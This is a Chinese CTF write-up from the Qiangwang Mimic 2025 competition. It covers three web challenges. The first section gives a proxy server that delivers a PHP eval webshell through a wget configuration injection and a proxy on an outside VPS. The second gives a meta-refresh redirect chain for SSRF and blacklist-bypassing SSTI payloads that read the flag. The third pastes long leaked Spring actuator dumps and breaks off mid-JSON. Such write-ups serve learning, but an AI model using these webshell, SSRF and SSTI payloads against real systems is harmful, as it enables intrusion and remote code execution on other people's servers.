强网拟态2025 wp&复现

强网拟态 2025 wp&复现

代码审计太烂了,看了一天下来头昏脑胀

smallcode|SV

--content-disposition 参数会使从远程服务器上下载的文件名与服务器保持一致

但是控制不了 url,没办法下载

可以往 1.txt 里写入配置文件,通过 WGETRC 环境变量读取

用 http_proxy 设置代理,然后 vps 上开个代理服务来返回 webshell

# proxy.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class ProxyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"Received request: {self.command} {self.path}")
        
        self.send_response(200)
        self.send_header("Content-Disposition", 'attachment; filename="xn1.php"')
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"<?php eval($_POST['cmd']); ?>")

    def do_HEAD(self):
        self.send_response(200)
        self.end_headers()

HTTPServer(("0.0.0.0", 9998), ProxyHandler).serve_forever()

需要配合 output_document 保存文件

from base64 import b64encode
import requests

url = "http://web-fdc5eb47bf.challenge.xctf.org.cn/"

session = requests.session()

proxy = {"http" : "http://127.0.0.1:9002"}

context = """
http_proxy = http://ip:9998
output_document = ./xn1.php
"""

data = {
    "context" : b64encode(context.encode()).decode(),
    "env" : "WGETRC=./1.txt"
}

session.post(url,data=data,proxies=proxy)

蚁剑连接,suid 提权

safesecret|STUCK

from flask import Flask, request, jsonify, Response, abort, render_template_string, session
import requests, re
from urllib.parse import urljoin, urlparse

app = Flask(__name__)

MAX_TOTAL_STEPS = 30
ERROR_COUNT = 6

META_REFRESH_RE = re.compile(
    r'<meta\s+http-equiv=["\']refresh["\']\s+content=["\']\s*\d+\s*;\s*url=([^"\']+)["\']',
    re.IGNORECASE
)


def read(f): return open(f).read()


SECRET = read("/secret").strip()
app.secret_key = "a_test_secret"


def sset(key, value):
    session[key] = value
    return ""


def sget(key, default=None):
    return session.get(key, default)


app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)


@app.route("/_internal/secret")
def internal_flag():
    if request.remote_addr not in ("127.0.0.1", "::1"):
        abort(403)
    body = f'OK Secret: {SECRET}'
    return Response(body, mimetype="application/json")


@app.route("/")
def index():
    return "welcome"


def _next_by_refresh_header(r, current_url):
    refresh = r.headers.get("Refresh")
    if not refresh:
        return None
    try:
        part = refresh.split(";", 1)[1]
        k, v = part.split("=", 1)
        if k.strip().lower() == "url":
            return urljoin(current_url, v.strip())
    except Exception:
        return None


def _next_by_meta_refresh(r, current_url):
    m = META_REFRESH_RE.search(r.text[:5000])
    if m:
        return urljoin(current_url, m.group(1).strip())
    return None


def _next_by_authlike_header(r, current_url):
    if r.status_code in (401, 407, 429):
        nxt = r.headers.get("X-Next")
        if nxt:
            return urljoin(current_url, nxt)
    return None


def my_fetch(url):
    session = requests.Session()
    current_url = url
    count_redirect = 0
    history = []
    last_resp = None

    while count_redirect < MAX_TOTAL_STEPS:
        print(count_redirect)
        try:
            r = session.get(current_url, allow_redirects=False, timeout=5)
            print(r.text)
        except Exception as e:
            return history, None, f"Upstream request failed: {e}"

        last_resp = r
        history.append({
            "url": current_url,
            "status": r.status_code,
            "headers": dict(r.headers),
            "body_preview": r.text[:800]
        })

        nxt = _next_by_refresh_header(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_meta_refresh(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_authlike_header(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        break

    return history, last_resp, None


@app.route("/fetch")
def fetch():
    target = request.args.get("url")
    if not target:
        return jsonify({"error": "no url"}), 400

    history, last_resp, err = my_fetch(target)
    if err:
        return jsonify({"error": err}), 502
    if not last_resp:
        return jsonify({"error": "no response"}), 502

    walked_steps = len(history) - 1
    try:
        if "application/json" in (last_resp.headers.get("Content-Type") or "").lower():
            _ = last_resp.json()
        else:
            if "MUST_HAVE_FIELD" not in last_resp.text:
                raise ValueError("JSON schema mismatch")
        return jsonify({"ok": True, "len": len(last_resp.text)})

    except Exception as parse_err:
        if walked_steps >= ERROR_COUNT:
            raw = []
            raw.append(last_resp.text[:5000])
            return Response("\n".join(raw), mimetype="text/plain", status=500)
        else:
            return jsonify({"error": "Invalid JSON"}), 500


@app.route("/login")
def login():
    username = request.args.get("username")
    secret = request.args.get("secret", "")
    blacklist = ["config", "_", "read", "{{"]
    if secret != SECRET:
        return ("forbidden", 403)

    if len(username) > 47:
        return ("username too long", 400)

    if any([n in username.lower() for n in blacklist]):
        return ("forbidden", 403)

    sset('username', username)

    rendered = render_template_string("Welcome: " + username)
    return rendered


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

应该是要读 secret,需要 ssrf

ssrf 点在/fetch,用的是自定义的 fetch 方法

def my_fetch(url):
    session = requests.Session()
    current_url = url
    count_redirect = 0
    history = []
    last_resp = None

    while count_redirect < MAX_TOTAL_STEPS:# 最多30次跳转
        print(count_redirect)
        try:
            r = session.get(current_url, allow_redirects=False, timeout=5)# get但是不能302
            print(r.text)
        except Exception as e:
            return history, None, f"Upstream request failed: {e}"

        last_resp = r
        history.append({ # 记录数据
            "url": current_url,
            "status": r.status_code,
            "headers": dict(r.headers),
            "body_preview": r.text[:800]
        })
        
        # 多次跳转逻辑
        nxt = _next_by_refresh_header(r, current_url) # 根据Refresh头
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_meta_refresh(r, current_url) # 自定义正则
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_authlike_header(r, current_url) # 自定义X-Next头,只有401 407 429会走这里
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        break

    return history, last_resp, None

然后要检查最终返回格式为 json 或者"MUST_HAVE_FIELD"?这里没看懂

最后就是 6 次以上跳转就返回请求明文

拿到 secret 之后就可以在 login 路由打 ssti

按这个意思是需要利用规则构造一个大于六次的重定向链

那直接打六次 meta 就好了啊

# attacker-server.py
from flask import Flask, request

app = Flask(__name__)

@app.route('/step<int:n>')
def step(n):
    if n < 6:
        next_url = f"/step{n+1}"
    else:
        next_url = "http://127.0.0.1:5000/_internal/secret"
    return f'<meta http-equiv="refresh" content="0;url={next_url}">'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9998)

Secret: 1140457d-a0b5-4e6d-a423-5a676e61992a

最后是这个 ssti

@app.route("/login")
def login():
    username = request.args.get("username")
    secret = request.args.get("secret", "")
    blacklist = ["config", "_", "read", "{{"]
    if secret != SECRET:
        return ("forbidden", 403)

    if len(username) > 47:
        return ("username too long", 400)

    if any([n in username.lower() for n in blacklist]):
        return ("forbidden", 403)

    sset('username', username)

    rendered = render_template_string("Welcome: " + username)
    return rendered

有一个 47 长度的限制比较棘手

{%lipsum[request.args.b]['os'][request.args.a]%}
48个字符,差一位啊  而且没有print执行这个会500

这个有没有说法

def sset(key, value):
    session[key] = value
    return ""
    
sset('username', username)

复现:

其实最后已经找到关键的位置了,但是太晚了直接去歇了

首先搜索短字符 ssti 可以发现一种存储的方法

{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}

这种打法的本质是使用 dict 的 update 方法

但是这里其实是 ban 掉 config 的

无妨,我们注意到本题中定义了两个函数

def sset(key, value):
    session[key] = value
    return ""


def sget(key, default=None):
    return session.get(key, default)
    
app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)

session 也是字典,不但具有类似的功能,而且函数名还很短,还注册进了 app.jinja_env.globals,怎么会这么巧!

所以思路就很明确了,用同样的方法打即可,需要注意的是 session 不能存对象,所以只能对长字符串替换

{%print(sset('g',request.args.a))%}&a=__globals__
{%print(sset[sget('g')])%}

可以发现 read 方法,字符串拼接绕过

{%print(sset('p',request.args.a))%}&a=/flag
{%print(sset[sget('g')]['re''ad'](sget('p')))%}

ezcloud|STUCK

按题目意思应该是个云服务,可以扫出很多路径

其中/system/都返回的是服务不存在

39B 这些返回的是令牌不能为空

[{"name":"ruoyi-gen","url":"/code/v2/api-docs","swaggerVersion":"2.0","location":"/code/v2/api-docs"},{"name":"ruoyi-job","url":"/schedule/v2/api-docs","swaggerVersion":"2.0","location":"/schedule/v2/api-docs"},{"name":"ruoyi-system","url":"/system/v2/api-docs","swaggerVersion":"2.0","location":"/system/v2/api-docs"},{"name":"ruoyi-file","url":"/file/v2/api-docs","swaggerVersion":"2.0","location":"/file/v2/api-docs"}]

有 ruoyi 关键字,可能是 RuoYi-Cloud

但是翻了一下是没有 ui 面板的,上面这些 api-docs 都访问不到

下面关注一下/actuator/的接口

{"activeProfiles":["dev"],"propertySources":[{"name":"server.ports","properties":{"local.server.port":{"value":8080}}},{"name":"bootstrapProperties-ruoyi-gateway-dev.yml,DEFAULT_GROUP","properties":{"spring.redis.host":{"value":"127.0.0.1"},"spring.redis.port":{"value":6379},"spring.redis.password":{"value":"******"},"spring.cloud.gateway.discovery.locator.lowerCaseServiceId":{"value":true},"spring.cloud.gateway.discovery.locator.enabled":{"value":true},"spring.cloud.gateway.routes[0].id":{"value":"ruoyi-auth"},"spring.cloud.gateway.routes[0].uri":{"value":"lb://ruoyi-auth"},"spring.cloud.gateway.routes[0].predicates[0]":{"value":"Path=/auth/**"},"spring.cloud.gateway.routes[0].filters[0]":{"value":"CacheRequestFilter"},"spring.cloud.gateway.routes[0].filters[1]":{"value":"ValidateCodeFilter"},"spring.cloud.gateway.routes[0].filters[2]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[1].id":{"value":"ruoyi-gen"},"spring.cloud.gateway.routes[1].uri":{"value":"lb://ruoyi-gen"},"spring.cloud.gateway.routes[1].predicates[0]":{"value":"Path=/code/**"},"spring.cloud.gateway.routes[1].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[2].id":{"value":"ruoyi-job"},"spring.cloud.gateway.routes[2].uri":{"value":"lb://ruoyi-job"},"spring.cloud.gateway.routes[2].predicates[0]":{"value":"Path=/schedule/**"},"spring.cloud.gateway.routes[2].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[3].id":{"value":"ruoyi-system"},"spring.cloud.gateway.routes[3].uri":{"value":"lb://ruoyi-system"},"spring.cloud.gateway.routes[3].predicates[0]":{"value":"Path=/system/**"},"spring.cloud.gateway.routes[3].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[4].id":{"value":"ruoyi-file"},"spring.cloud.gateway.routes[4].uri":{"value":"lb://ruoyi-file"},"spring.cloud.gateway.routes[4].predicates[0]":{"value":"Path=/file/**"},"spring.cloud.gateway.routes[4].filters[0]":{"value":"StripPrefix=1"},"security.captcha.enabled":{"value":false},"security.captcha.type":{"value":"math"},"security.xss.enabled":{"value":true},"security.xss.excludeUrls[0]":{"value":"/system/notice"},"security.ignore.whites[0]":{"value":"/auth/logout"},"security.ignore.whites[1]":{"value":"/auth/login"},"security.ignore.whites[2]":{"value":"/auth/register"},"security.ignore.whites[3]":{"value":"/*/v2/api-docs"},"security.ignore.whites[4]":{"value":"/csrf"},"security.ignore.whites[5]":{"value":"/system/**"}}},{"name":"bootstrapProperties-ruoyi-gateway.yml,DEFAULT_GROUP","properties":{}},{"name":"bootstrapProperties-ruoyi-gateway,DEFAULT_GROUP","properties":{}},{"name":"bootstrapProperties-application-dev.yml,DEFAULT_GROUP","properties":{"spring.autoconfigure.exclude":{"value":"com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure"},"spring.mvc.pathmatch.matching-strategy":{"value":"ant_path_matcher"},"feign.sentinel.enabled":{"value":true},"feign.okhttp.enabled":{"value":true},"feign.httpclient.enabled":{"value":false},"feign.client.config.default.connectTimeout":{"value":10000},"feign.client.config.default.readTimeout":{"value":10000},"feign.compression.request.enabled":{"value":true},"feign.compression.response.enabled":{"value":true},"management.endpoints.web.exposure.include":{"value":"*"},"management.endpoints.web.exposure.exclude":{"value":"heapdump,threaddump"}}},{"name":"gateway-properties","properties":{"spring.webflux.hiddenmethod.filter.enabled":{"value":"false"}}},{"name":"systemProperties","properties":{"java.runtime.name":{"value":"OpenJDK Runtime Environment"},"java.protocol.handler.pkgs":{"value":"org.springframework.boot.loader"},"sun.boot.library.path":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64"},"java.vm.version":{"value":"25.452-b09"},"java.vm.vendor":{"value":"Private Build"},"java.vendor.url":{"value":"http://java.oracle.com/"},"path.separator":{"value":":"},"csp.sentinel.app.type":{"value":"11"},"java.vm.name":{"value":"OpenJDK 64-Bit Server VM"},"file.encoding.pkg":{"value":"sun.io"},"user.country":{"value":"US"},"sun.java.launcher":{"value":"SUN_STANDARD"},"sun.os.patch.level":{"value":"unknown"},"PID":{"value":"882"},"java.vm.specification.name":{"value":"Java Virtual Machine Specification"},"user.dir":{"value":"/app"},"java.runtime.version":{"value":"1.8.0_452-8u452-ga~us1-0ubuntu1~24.04-b09"},"JM.LOG.PATH":{"value":"/root/logs"},"java.awt.graphicsenv":{"value":"sun.awt.X11GraphicsEnvironment"},"csp.sentinel.api.port":{"value":"8719"},"java.endorsed.dirs":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed"},"os.arch":{"value":"amd64"},"CONSOLE_LOG_CHARSET":{"value":"UTF-8"},"java.io.tmpdir":{"value":"/tmp"},"line.separator":{"value":"\n"},"java.vm.specification.vendor":{"value":"Oracle Corporation"},"os.name":{"value":"Linux"},"csp.sentinel.charset":{"value":"UTF-8"},"csp.sentinel.flow.cold.factor":{"value":"3"},"FILE_LOG_CHARSET":{"value":"UTF-8"},"sun.jnu.encoding":{"value":"ANSI_X3.4-1968"},"spring.beaninfo.ignore":{"value":"true"},"java.library.path":{"value":"/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib"},"sun.nio.ch.bugLevel":{"value":""},"csp.sentinel.app.name":{"value":"ruoyi-gateway"},"java.specification.name":{"value":"Java Platform API Specification"},"java.class.version":{"value":"52.0"},"sun.management.compiler":{"value":"HotSpot 64-Bit Tiered Compilers"},"os.version":{"value":"4.18.0-240.el8.x86_64"},"user.home":{"value":"/root"},"user.timezone":{"value":"GMT"},"java.awt.printerjob":{"value":"sun.print.PSPrinterJob"},"file.encoding":{"value":"utf-8"},"java.specification.version":{"value":"1.8"},"java.class.path":{"value":"/app/ruoyi-gateway.jar"},"user.name":{"value":"root"},"java.vm.specification.version":{"value":"1.8"},"sun.java.command":{"value":"******"},"java.home":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre"},"sun.arch.data.model":{"value":"64"},"user.language":{"value":"en"},"java.specification.vendor":{"value":"Oracle Corporation"},"awt.toolkit":{"value":"sun.awt.X11.XToolkit"},"java.vm.info":{"value":"mixed mode"},"java.version":{"value":"1.8.0_452"},"java.ext.dirs":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext"},"csp.sentinel.dashboard.server":{"value":"127.0.0.1:8718"},"sun.boot.class.path":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes"},"java.awt.headless":{"value":"true"},"java.vendor":{"value":"Private Build"},"java.specification.maintenance.version":{"value":"6"},"file.separator":{"value":"/"},"java.vendor.url.bug":{"value":"http://bugreport.sun.com/bugreport/"},"sun.io.unicode.encoding":{"value":"UnicodeLittle"},"sun.cpu.endian":{"value":"little"},"sun.cpu.isalist":{"value":""}}},{"name":"systemEnvironment","properties":{"PATH":{"value":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","origin":"System Environment Property \"PATH\""},"DEBIAN_FRONTEND":{"value":"noninteractive","origin":"System Environment Property \"DEBIAN_FRONTEND\""},"HOSTNAME":{"value":"f3343a03ec1f","origin":"System Environment Property \"HOSTNAME\""},"TERM":{"value":"xterm","origin":"System Environment Property \"TERM\""},"PWD":{"value":"/app","origin":"System Environment Property \"PWD\""},"SHLVL":{"value":"1","origin":"System Environment Property \"SHLVL\""},"HOME":{"value":"/root","origin":"System Environment Property \"HOME\""},"_":{"value":"/usr/bin/java","origin":"System Environment Property \"_\""}}},{"name":"springCloudClientHostInfo","properties":{"spring.cloud.client.hostname":{"value":"f3343a03ec1f"},"spring.cloud.client.ip-address":{"value":"172.26.210.128"}}},{"name":"Config resource 'class path resource [bootstrap.yml]' via location 'optional:classpath:/'","properties":{"server.port":{"value":8080,"origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 3:9"},"spring.application.name":{"value":"ruoyi-gateway","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 9:11"},"spring.profiles.active":{"value":"dev","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 12:13"},"spring.cloud.nacos.discovery.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 17:22"},"spring.cloud.nacos.config.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 20:22"},"spring.cloud.nacos.config.file-extension":{"value":"yml","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 22:25"},"spring.cloud.nacos.config.shared-configs[0]":{"value":"application-dev.yml","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 25:13"},"spring.cloud.sentinel.eager":{"value":true,"origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 28:14"},"spring.cloud.sentinel.transport.dashboard":{"value":"127.0.0.1:8718","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 31:20"},"spring.cloud.sentinel.datasource.ds1.nacos.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 36:26"},"spring.cloud.sentinel.datasource.ds1.nacos.dataId":{"value":"sentinel-ruoyi-gateway","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 37:21"},"spring.cloud.sentinel.datasource.ds1.nacos.groupId":{"value":"DEFAULT_GROUP","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 38:22"},"spring.cloud.sentinel.datasource.ds1.nacos.data-type":{"value":"json","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 39:24"},"spring.cloud.sentinel.datasource.ds1.nacos.rule-type":{"value":"flow","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 40:24"}}},{"name":"springCloudDefaultProperties","properties":{}},{"name":"defaultProperties","properties":{"spring.cloud.sentinel.filter.enabled":{"value":"false"}}}]}

看到有 redis 服务,然后几个转发到 ruoyi 的服务分别是 /system/ /auth/ /code/ /schedule/ /file/

其它的大概也是泄露一些乱七八糟的,看不明白

可能也是一个框架漏洞

在/actuator/mappings 里是一些路由映射

{
  "contexts": {
    "ruoyi-gateway-1": {
      "mappings": {
        "dispatcherHandlers": {
          "webHandler": [
            {
              "predicate": "{GET /actuator/env/{toMatch}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'env-toMatch'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/env/{toMatch}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/caches, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'caches'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/caches"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/configprops/{prefix}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'configprops-prefix'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/configprops/{prefix}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/metrics, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'metrics'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/metrics"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{POST /actuator/serviceregistry, consumes [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'serviceregistry'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/serviceregistry"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/features, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'features'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/features"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/nacosdiscovery, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'nacosdiscovery'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/nacosdiscovery"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator root web endpoint",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.WebFluxEndpointHandlerMapping.WebFluxLinksHandler",
                  "name": "links",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Ljava/lang/Object;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/mappings, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'mappings'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/mappings"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{POST /actuator/loggers/{name}, consumes [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'loggers-name'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/loggers/{name}"
                  ],
                  "produces": []
                }
              }
            },
            {
